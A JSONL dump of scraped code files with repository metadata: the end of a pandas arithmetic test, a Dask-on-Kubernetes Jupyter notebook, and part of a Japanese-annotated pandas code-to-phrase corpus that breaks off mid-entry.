a\n    expected = Series(b.values ** a.values, dtype=object)\n\n    tm.assert_series_equal(result, expected)\n", "meta": {"hexsha": "979775633f644f6b01c986ecf6cc9d54c21e1924", "size": 7672, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/series/test_arithmetic.py", "max_stars_repo_name": "Sanjay8874/pandas", "max_stars_repo_head_hexsha": "353a0f9ebfbd87642d1dd7154f25be0286cdaf93", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-03-02T19:57:18.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-20T19:23:57.000Z", "max_issues_repo_path": "pandas/tests/series/test_arithmetic.py", "max_issues_repo_name": "16umm001/pandas", "max_issues_repo_head_hexsha": "a2e599499667b256bc5b8b13a75f0601eccfd432", "max_issues_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas/tests/series/test_arithmetic.py", "max_forks_repo_name": "16umm001/pandas", "max_forks_repo_head_hexsha": "a2e599499667b256bc5b8b13a75f0601eccfd432", "max_forks_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.0977777778, "max_line_length": 76, "alphanum_fraction": 0.5606100104, "include": true, "reason": "import numpy", "num_tokens": 1923, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10669058968506458, "lm_q1q2_score": 0.052095243377538084}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport dask\nfrom dask_kubernetes import KubeCluster\nimport numpy as np\n\n\n# In[2]:\n\n\n# Specify a remote deployment using a load blanacer\ndask.config.set({\"kubernetes.scheduler-service-type\": \"LoadBalancer\"})\n\n\n# In[3]:\n\n\ncluster = KubeCluster.from_yaml('worker-spec.yaml', namespace='dask', deploy_mode='remote')\n\n\n# In[4]:\n\n\ncluster.adapt(minimum=1, maximum=100)\n\n\n# In[5]:\n\n\n# Example usage\nfrom dask.distributed import Client\nimport dask.array as da\n\n# Connect Dask to the cluster\nclient = Client(cluster)\n\n\n# In[6]:\n\n\nclient.scheduler_comm.comm.handshake_info()\n\n\n# In[7]:\n\n\n# Create a large array and calculate the mean\narray = da.ones((1000, 1000, 1000))\nprint(array.mean().compute())  # Should print 1.0|\n\n\n# In[8]:\n\n\nprint(array.mean().compute())\n\n\n# In[9]:\n\n\nprint(array.sum().compute())\n\n\n# In[10]:\n\n\ndir(array)\n\n\n# In[11]:\n\n\nnp.take(array, indices=[0, 10]).sum().compute()\n\n\n# In[12]:\n\n\nfrom time import sleep\n\ndef inc(x):\n    sleep(1)\n    return x + 1\n\ndef add(x, y):\n    sleep(1)\n    return x + y\n\n\n# In[13]:\n\n\nget_ipython().run_cell_magic('time', '', '# This takes three seconds to run because we call each\\n# function sequentially, one after the other\\n\\nx = inc(1)\\ny = inc(2)\\nz = add(x, y)')\n\n\n# In[14]:\n\n\nfrom dask import delayed\n\n\n# In[15]:\n\n\nget_ipython().run_cell_magic('time', '', '# This runs immediately, all it does is build a graph\\n\\nx = delayed(inc)(1)\\ny = delayed(inc)(2)\\nz = delayed(add)(x, y)')\n\n\n# In[16]:\n\n\nget_ipython().run_cell_magic('time', '', 'z.compute()')\n\n\n# In[17]:\n\n\ndata = range(1,100)\n\n\n# In[18]:\n\n\nresults = []\n\nfor x in data:\n    y = delayed(inc)(x)\n    results.append(y)\n\ntotal = delayed(sum)(results)\nprint(\"Before computing:\", total)  # Let's see what type of thing total is\nresult = total.compute()\nprint(\"After computing :\", result)  # After it's computed\n\n\n# In[19]:\n\n\ntotal.compute()\n\n\n# In[20]:\n\n\ndef double(x):\n    sleep(1)\n    return 2 * x\n\ndef is_even(x):\n    return not x % 2\n\n\n# In[21]:\n\n\nget_ipython().run_cell_magic('time', '', 'results = []\\nfor x in data:\\n    if is_even(x):  # even\\n        y = delayed(double)(x)\\n    else:          # odd\\n        y = delayed(inc)(x)\\n    results.append(y)\\n\\ntotal = delayed(sum)(results)\\ntotal.compute()')\n\n\n# In[22]:\n\n\nget_ipython().run_cell_magic('time', '', 'results = []\\nfor x in data:\\n    def compute(x):\\n        if is_even(x):  # even\\n            return double(x)\\n        else:          # odd\\n            return inc(x)\\n    y = delayed(compute)(x)\\n    results.append(y)\\n\\ntotal = delayed(sum)(results)\\ntotal.compute()')\n\n\n# In[23]:\n\n\ntotal.visualize()\n\n\n# In[24]:\n\n\nfrom dask import compute\n\n\n# In[25]:\n\n\nimport dask.bag as db\nb = db.from_sequence(range(1,100))\n\n\n# In[26]:\n\n\niseven = lambda x: x % 2 == 0\n\n\n# In[27]:\n\n\nadd = lambda x, y: x + y\n\n\n# In[28]:\n\n\ndict(b.foldby(iseven, add))\n\n\n# In[29]:\n\n\nb.foldby(iseven, add)\n\n\n# In[30]:\n\n\nb.foldby(iseven, add).compute()\n\n\n# In[31]:\n\n\ngrouped = b.groupby(iseven)\n\n\n# In[58]:\n\n\nbadsum = grouped.map(lambda kv: (kv[0], sum(kv[1])))\n\n\n# In[41]:\n\n\nf = client.scatter(badsum)\n\n\n# In[42]:\n\n\nf\n\n\n# In[45]:\n\n\n# Note I killed the worker in between\nf\n\n\n# In[59]:\n\n\nf = client.scatter(badsum)\n\n\n# In[51]:\n\n\nf\n\n\n# In[49]:\n\n\ndict(f.result())\n\n\n# In[55]:\n\n\n# introduced network failure\nf.result()\n\n\n# In[56]:\n\n\nf\n\n\n# In[34]:\n\n\nfrom bokeh.io import output_notebook, push_notebook\nfrom bokeh.models.sources import ColumnDataSource\nfrom bokeh.plotting import figure, show\nimport numpy as np\noutput_notebook()\n\n# set up plot background\nN = 500\nx = np.linspace(-5, 5, N)\ny = np.linspace(-5, 5, N)\nxx, yy = np.meshgrid(x, y)\nd = (1 - xx)**2 + 2 * (yy - xx**2)**2\nd = np.log(d)\n\np = figure(x_range=(-5, 5), y_range=(-5, 5))\np.image(image=[d], x=-5, y=-5, dw=10, dh=10, palette=\"Spectral11\");\n\n\n# In[35]:\n\n\nc = client\n# a simple function with interesting minima\nimport time\n\ndef rosenbrock(point):\n    \"\"\"Compute the rosenbrock function and return the point and result\"\"\"\n    time.sleep(0.1)\n    score = (1 - point[0])**2 + 2 * (point[1] - point[0]**2)**2\n    return point, score\n\n\n# In[36]:\n\n\nfrom dask.distributed import as_completed\nfrom random import uniform\n\nscale = 5                  # Intial random perturbation scale\nbest_point = (0, 0)        # Initial guess\nbest_score = float('inf')  # Best score so far\nstartx = [uniform(-scale, scale) for _ in range(10)]\nstarty = [uniform(-scale, scale) for _ in range(10)]\n\n# set up plot\nsource = ColumnDataSource({'x': startx, 'y': starty, 'c': ['grey'] * 10})\np.circle(source=source, x='x', y='y', color='c')\nt = show(p, notebook_handle=True)\n\n# initial 10 random points\nfutures = [c.submit(rosenbrock, (x, y)) for x, y in zip(startx, starty)]\niterator = as_completed(futures)\n\n# TODO(holden): non-blocking?\nfor res in iterator:\n    # take a completed point, is it an improvement?\n    point, score = res.result()\n    if score < best_score:\n        best_score, best_point = score, point\n        print(score, point)\n\n    x, y = best_point\n    newx, newy = (x + uniform(-scale, scale), y + uniform(-scale, scale))\n\n    # update plot\n    source.stream({'x': [newx], 'y': [newy], 'c': ['grey']}, rollover=20)\n    push_notebook(document=t)\n\n    # add new point, dynamically, to work on the cluster\n    new_point = c.submit(rosenbrock, (newx, newy))\n    iterator.add(new_point)  # Start tracking new task as well\n\n    # Narrow search and consider stopping\n    scale *= 0.99\n    if scale < 0.001:\n        break\npoint\n\n\n# In[37]:\n\n\ndir(c)\n\n\n# In[38]:\n\n\nhelp(c)\n\n\n# In[39]:\n\n\nc.list_datasets()\n\n\n# In[60]:\n\n\nclient\n\n\n# In[62]:\n\n\n\n\n\n# In[63]:\n\n\nf\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "0ec3962e3f8abf14a0e2f83b1db030bb1342c318", "size": 5599, "ext": "py", "lang": "Python", "max_stars_repo_path": "dask/JupyterExampleRunthroughOnKubeOnArmP1.py", "max_stars_repo_name": "mlkimmins/scalingpythonml", "max_stars_repo_head_hexsha": "517c6d3e14ce4eb331ab0fd3b0368e0bf10d9986", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 13, "max_stars_repo_stars_event_min_datetime": "2020-02-09T16:03:10.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-19T14:08:16.000Z", "max_issues_repo_path": "dask/JupyterExampleRunthroughOnKubeOnArmP1.py", "max_issues_repo_name": "mlkimmins/scalingpythonml", "max_issues_repo_head_hexsha": "517c6d3e14ce4eb331ab0fd3b0368e0bf10d9986", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-10-31T16:20:05.000Z", "max_issues_repo_issues_event_max_datetime": "2020-11-04T01:17:02.000Z", "max_forks_repo_path": "dask/JupyterExampleRunthroughOnKubeOnArmP1.py", "max_forks_repo_name": "mlkimmins/scalingpythonml", "max_forks_repo_head_hexsha": "517c6d3e14ce4eb331ab0fd3b0368e0bf10d9986", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2020-12-21T22:23:16.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T20:25:28.000Z", "avg_line_length": 13.9278606965, "max_line_length": 314, "alphanum_fraction": 0.6172530809, "include": true, "reason": "import numpy", "num_tokens": 1709, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10669058684467357, "lm_q1q2_score": 0.05209524199062233}}
{"text": "import numpy as np\n\nimport pandas as pd\n'''\n@alt(\u8868\u30c7\u30fc\u30bf|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0)\n@alt(\u30ab\u30e9\u30e0|\u5217)\n@alt(\u30a4\u30f3\u30c7\u30c3\u30af\u30b9|\u884c)\n@alt(\u6b20\u640d\u5024|NaN|\u672a\u5165\u529b\u5024)\n@alt(\u5909\u66f4\u3059\u308b|\u5897\u3084\u3059|\u6e1b\u3089\u3059)\n@alt(\u4fdd\u5b58\u3059\u308b|\u4fdd\u5b58\u3059\u308b|\u66f8\u304d\u8fbc\u3080)\n@alt(\u62bd\u51fa\u3059\u308b|\u53d6\u308a\u51fa\u3059)\n@alt(\u8aad\u307f\u8fbc\u3080|\u8aad\u3080)\n@alt(\u8aad\u307f\u8fbc\u3093\u3067|\u8aad\u3093\u3067)\n@alt(\u5168\u3066\u306e|\u3059\u3079\u3066\u306e|\u5168)\n@alt(\u306e\u540d\u524d|\u540d)\n\n@prefix(df;\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0)\n@prefix(ds;[\u30c7\u30fc\u30bf\u5217|\u30ab\u30e9\u30e0])\n@prefix(col;[\u5217|\u30ab\u30e9\u30e0])\n@prefix(value;[\u6587\u5b57\u5217|\u65e5\u4ed8|\u5024])\n\n\u8868\u30c7\u30fc\u30bf\u3092\u4f7f\u3046\n\u8868\u30c7\u30fc\u30bf\u3092\u30a4\u30f3\u30dd\u30fc\u30c8\u3059\u308b\n'''\n\nimport seaborn as sns\n\nn = 1\n\nfilename = 'test.csv'\nfilename = 'file.csv'\nfilename = 'file.tsv'\nfilename = 'file.json'\nfilename = 'file.json'\n\ncol, col2, col3 = 'A', 'B', 'C'\ndf = pd.DataFrame(data=[[1, 2, 3], [4, 5, 6]], columns=['A', 'B', 'C'])\ndf2 = df\nds, ds2 = df[col], df[col2]\n\n\n# \u8a2d\u5b9a\n\nprint(pd.__version__)\n'''\nPandas\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u30d7\u30ea\u30f3\u30c8\u3059\u308b\nPandas\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u898b\u308b\n'''\n\npd.set_option('display.max_columns', n)\n'''\n@alt(\u8868\u793a\u53ef\u80fd\u306a|[\u8868\u793a\u3067\u304d\u308b|\u8868\u793a\u3059\u308b|\u8868\u793a\u3055\u308c\u308b])\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|][\u8868\u793a\u53ef\u80fd\u306a|][\u6700\u5927|]\u5217\u6570\u3092\u5909\u66f4\u3059\u308b\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|][\u8868\u793a\u53ef\u80fd\u306a|]\u5217\u6570\u306e\u6700\u5927\u5024\u3092n\u306b\u8a2d\u5b9a\u3059\u308b\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]{n\u5217\u307e\u3067|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8868\u793a\u53ef\u80fd\u306a\u3088\u3046\u306b\u3059\u308b\n'''\n\npd.set_option('display.max_rows', n)\n'''\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|][\u8868\u793a\u53ef\u80fd\u306a|][\u6700\u5927|]\u884c\u6570\u3092\u5909\u66f4\u3059\u308b\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|][\u8868\u793a\u53ef\u80fd\u306a|][\u6700\u5927|]\u884c\u6570\u3092n\u306b\u8a2d\u5b9a\u3059\u308b\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]{n\u884c\u307e\u3067|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8868\u793a\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\n'''\n\npd.set_option('precision', n)\n'''\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u5c0f\u6570\u70b9\u4ee5\u4e0b\u306e\u8868\u793a\u7cbe\u5ea6\u3092\u8a2d\u5b9a\u3059\u308b\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u5c0f\u6570\u70b9\u4ee5\u4e0b[\u306e\u8868\u793a\u7cbe\u5ea6|]\u3092n\u6841\u306b\u8a2d\u5b9a\u3059\u308b\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u5c0f\u6570\u70b9\u4ee5\u4e0bn\u6841\u307e\u3067\u8868\u793a\u53ef\u80fd\u306a\u3088\u3046\u306b\u3059\u308b\n'''\n\npd.set_option('expand_frame_repr', False)\n'''\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u6298\u308a\u8fd4\u3057\u3092\u3057\u306a\u3044[|\u3088\u3046\u306b\u3059\u308b]\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u6298\u308a\u8fd4\u3057\u3092[\u30aa\u30d5|\u7121\u52b9]\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\npd.set_option('max_colwidth', n)\n'''\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u30ab\u30e9\u30e0\u306e\u6700\u5927\u5e45\u3092n\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\npd.set_option('colheader_justify', 'right')\n'''\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u30d8\u30c3\u30c0\u30fc\u884c\u3092\u53f3\u5bc4\u305b\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\npd.set_option('colheader_justify', 'left')\n'''\n[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092\u8868\u793a\u3059\u308b\u3068\u304d\u3001|]\u30d8\u30c3\u30c0\u30fc\u884c\u3092\u5de6\u5bc4\u305b\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\n# \u8aad\u307f\u8fbc\u307f\u7cfb\n\nfilename = 'file.xlsx'\npd.read_excel(filename)\n'''\n@prefix(filename;\u30a8\u30af\u30bb\u30eb\u30d5\u30a1\u30a4\u30eb)\n@alt(\u30a8\u30af\u30bb\u30eb|\u30a8\u30af\u30bb\u30eb[\u30d5\u30a1\u30a4\u30eb|\u30c7\u30fc\u30bf])\n\n{\u30a8\u30af\u30bb\u30eb\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{|filename\u3092|[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066|]}\u8aad\u307f\u8fbc\u3080\n{|filename\u304b\u3089|\u30a8\u30af\u30bb\u30eb\u3092}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_excel(filename, sheet_name=n)\n'''\n@test(pd=missing;filename='file.xlsx';$$)\n{filename\u304b\u3089|n\u756a\u76ee\u306e\u30b7\u30fc\u30c8\u3092}[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066|]\u8aad\u307f\u8fbc\u3080\n{filename\u304b\u3089|n\u3068\u3044\u3046[\u540d\u524d\u306e|]\u30b7\u30fc\u30c8\u3092}[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066|]\u8aad\u307f\u8fbc\u3080\n{filename\u306e|n\u756a\u76ee\u306e\u30b7\u30fc\u30c8\u3092}[\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066|]\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_excel(filename, sheet_name=[n, n2])\n'''\n@test(pd=missing;filename='file.xlsx';$$)\n{filename\u304b\u3089|\u8907\u6570\u306e\u30b7\u30fc\u30c8\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u304b\u3089|n\u3068n2\u306e\u30b7\u30fc\u30c8\u3092}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_excel(filename, sheet_name=None)\n'''\n@test(pd=missing;filename='file.xlsx';$$)\n{filename\u304b\u3089|\u5168\u3066\u306e\u30b7\u30fc\u30c8\u3092}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_csv(filename, sep=',')\n'''\n@test(pd=missing;filename='file.csv';$$)\n@prefix(filename;CSV\u30d5\u30a1\u30a4\u30eb)\n@alt(CSV\u30d5\u30a1\u30a4\u30eb|CSV|\u30ab\u30f3\u30de\u533a\u5207\u308a\u306e\u30d5\u30a1\u30a4\u30eb)\n{CSV\u30d5\u30a1\u30a4\u30eb\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u3092|[|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066]}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_csv(filename, sep='\\t')\n'''\n@test(pd=missing;filename='file.tsv';$$)\n@prefix(filename;TSV\u30d5\u30a1\u30a4\u30eb)\n@alt(TSV\u30d5\u30a1\u30a4\u30eb|TSV|\u30bf\u30d6\u533a\u5207\u308a\u306e\u30d5\u30a1\u30a4\u30eb)\n{TSV\u30d5\u30a1\u30a4\u30eb\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u3092|[|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066]}\u8aad\u307f\u8fbc\u3080\n'''\n\nnames = ['A', 'B']\nsheet_name = names\n'''\n@test($$;sheet_name)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e[\u8aad\u307f\u8fbc\u3080|\u30a8\u30af\u30bb\u30eb\u306e|]\u30b7\u30fc\u30c8\u306e\u540d\u524d\u3092names\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\nindex_col = 0\n'''\n@test($$;index_col)\n@alt(\u306e_|)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e[\u5148\u982d\u306e_|\u6700\u521d\u306e]\u30ab\u30e9\u30e0\u3092\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\nindex_col = n\n'''\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1en\u756a\u76ee\u306e\u30ab\u30e9\u30e0\u3092\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\nindex_col = None\n'''\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u3092[\u81ea\u52d5\u7684\u306a|]\u9023\u756a\u306b\u8a2d\u5b9a\u3059\u308b\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e\u3069\u306e\u30ab\u30e9\u30e0\u3082\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306b[\u8a2d\u5b9a|]\u3057\u306a\u3044\n'''\n\nheader = 0\n'''\n@alt(\u30d8\u30c3\u30c0|\u30ab\u30e9\u30e0\u306e\u540d\u524d)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e[\u5148\u982d\u306e|\u6700\u521d\u306e]\u884c\u3092\u30d8\u30c3\u30c0\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\nheader = None\n'''\n@test($$;header)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e\u30d8\u30c3\u30c0\u3092[\u81ea\u52d5\u7684\u306a|]\u9023\u756a\u306b\u8a2d\u5b9a\u3059\u308b\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e\u3069\u306e\u884c\u3082\u30d8\u30c3\u30c0\u306b[|\u8a2d\u5b9a]\u3057\u306a\u3044\n'''\n\nheader = names\n'''\n@test($$;header)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e\u30d8\u30c3\u30c0\u3092names\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\nnames = names\n'''\n@test($$;names)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1enames\u3092\u30ab\u30e9\u30e0\u306e\u540d\u524d\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\nusecols = names\n'''\n@test($$;usecols)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e\u8aad\u307f\u8fbc\u3080\u884c\u756a\u53f7\u3092names\u3067\u6307\u5b9a\u3059\u308b\n'''\n\nskiprows = names\n'''\n@test($$;skiprows)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e[\u8aad\u307f\u8fbc\u307e\u306a\u3044|\u30b9\u30ad\u30c3\u30d7\u3059\u308b|\u7121\u8996\u3059\u308b]\u5217\u756a\u53f7\u3092names\u3067\u6307\u5b9a\u3059\u308b\n'''\n\nskipfooter = n\n'''\n@test($$;skipfooter)\n\uff1c\u30aa\u30d7\u30b7\u30e7\u30f3\uff1e[\u8aad\u307f\u8fbc\u307e\u306a\u3044|\u30b9\u30ad\u30c3\u30d7\u3059\u308b|\u7121\u8996\u3059\u308b]\u30d5\u30c3\u30bf\u3092n\u306b\u8a2d\u5b9a\u3059\u308b\n'''\n\npd.read_csv(filename, header=None)\n'''\n@test(pd=missing;filename='file.csv';$$)\n{filename\u3092|\u30d8\u30c3\u30c0[\u3092\u6307\u5b9a\u305b\u305a|\u306a\u3057\u3067]}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_csv(filename, index_col=n)\n'''\n@test(pd=missing;filename='file.csv';$$)\n{CSV\u30d5\u30a1\u30a4\u30ebfilename\u3092|n\u756a\u76ee\u306e\u30ab\u30e9\u30e0\u3092\u30a4\u30f3\u30c7\u30c3\u30af\u30b9[\u3068|\u306b]\u3057\u3066}\u8aad\u307f\u8fbc\u3080\n\u6587\u5b57\u5217filename\u304b\u3089{CSV\u30d5\u30a1\u30a4\u30eb\u3092|n\u756a\u76ee\u306e\u30ab\u30e9\u30e0\u3092\u30a4\u30f3\u30c7\u30c3\u30af\u30b9[\u3068|\u306b]\u3057\u3066}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_csv(filename, encoding='shift_jis')\n'''\n@test(pd=missing;filename='file.csv';$$)\n{filename\u3092|[SJIS\u3067|\u6587\u5b57\u5316\u3051\u3057\u306a\u3044\u3088\u3046\u306b]}\u8aad\u307f\u8fbc\u3080\nfilename\u304b\u3089{CSV\u30d5\u30a1\u30a4\u30eb\u3092|[SJIS\u3067|\u6587\u5b57\u5316\u3051\u3057\u306a\u3044\u3088\u3046\u306b]}\u8aad\u307f\u8fbc\u3080\n'''\n\n__X__ = 'utf-8'\npd.read_csv(filename, sep='\\t', encoding=__X__)\n'''\n@test(pd=missing;filename='file.tsv';$$)\n@X('utf-8';'shift_jis')\n@Y('UTF8';\u30b7\u30d5\u30c8JIS)\n\n{TSV[\u5f62\u5f0f\u306e|]\u30d5\u30a1\u30a4\u30eb\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u3092|[|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066]}\u8aad\u307f\u8fbc\u3080\n'''\n\npd.read_json(filename, orient='records', lines=True)\n'''\n@prefix(filename;JSONL\u30d5\u30a1\u30a4\u30eb)\n\n{JSONL[\u5f62\u5f0f\u306e|]\u30d5\u30a1\u30a4\u30eb\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u304b\u3089|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3092}\u8aad\u307f\u8fbc\u3080\n{filename\u3092|[|\u30c7\u30fc\u30bf\u30d5\u30ec\u30fc\u30e0\u3068\u3057\u3066]}\u8aad\u307f\u8fbc\u3080\n'''\n\n\n#\n\n# write\n\ndf.to_excel(filename)\n'''\n@alt(\u30d5\u30a1\u30a4\u30eb\u540d|\u540d\u524d)\n\n{df\u3092|filename\u306b}\u4fdd\u5b58\u3059\u308b\n{df\u3092|\u30a8\u30af\u30bb\u30eb[\u30d5\u30a1\u30a4\u30eb|\u5f62\u5f0f|]\u3067_|filename\u306b}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename)\n'''\n{df\u3092|filename\u306b}\u4fdd\u5b58\u3059\u308b\n{df\u3092|CSV[\u30d5\u30a1\u30a4\u30eb|\u5f62\u5f0f|]\u3067_|filename\u306b}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename, sep='\\t')\n'''\n{df\u3092|filename\u306b}\u4fdd\u5b58\u3059\u308b\n{df\u3092|\u30bf\u30d6\u533a\u5207\u308a\u3067_|filename\u306b}\u4fdd\u5b58\u3059\u308b\n{df\u3092|TSV[\u30d5\u30a1\u30a4\u30eb|\u5f62\u5f0f|]\u3067_|filename\u306b}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename, header=None)\n'''\n@alt(\u30d8\u30c3\u30c0\u3092\u4ed8\u3051\u305a\u306b|\u30d8\u30c3\u30c0\u306a\u3057\u3067)\n{df\u3092|filename\u306b|\u30d8\u30c3\u30c0\u3092\u4ed8\u3051\u305a\u306b}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename, index=None)\n'''\n@alt(\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u3092\u4ed8\u3051\u305a\u306b|\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306a\u3057\u3067)\n{df\u3092|filename\u306b|\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u3092\u4ed8\u3051\u305a\u306b}\u4fdd\u5b58\u3059\u308b\n'''\n\ndf.to_csv(filename, 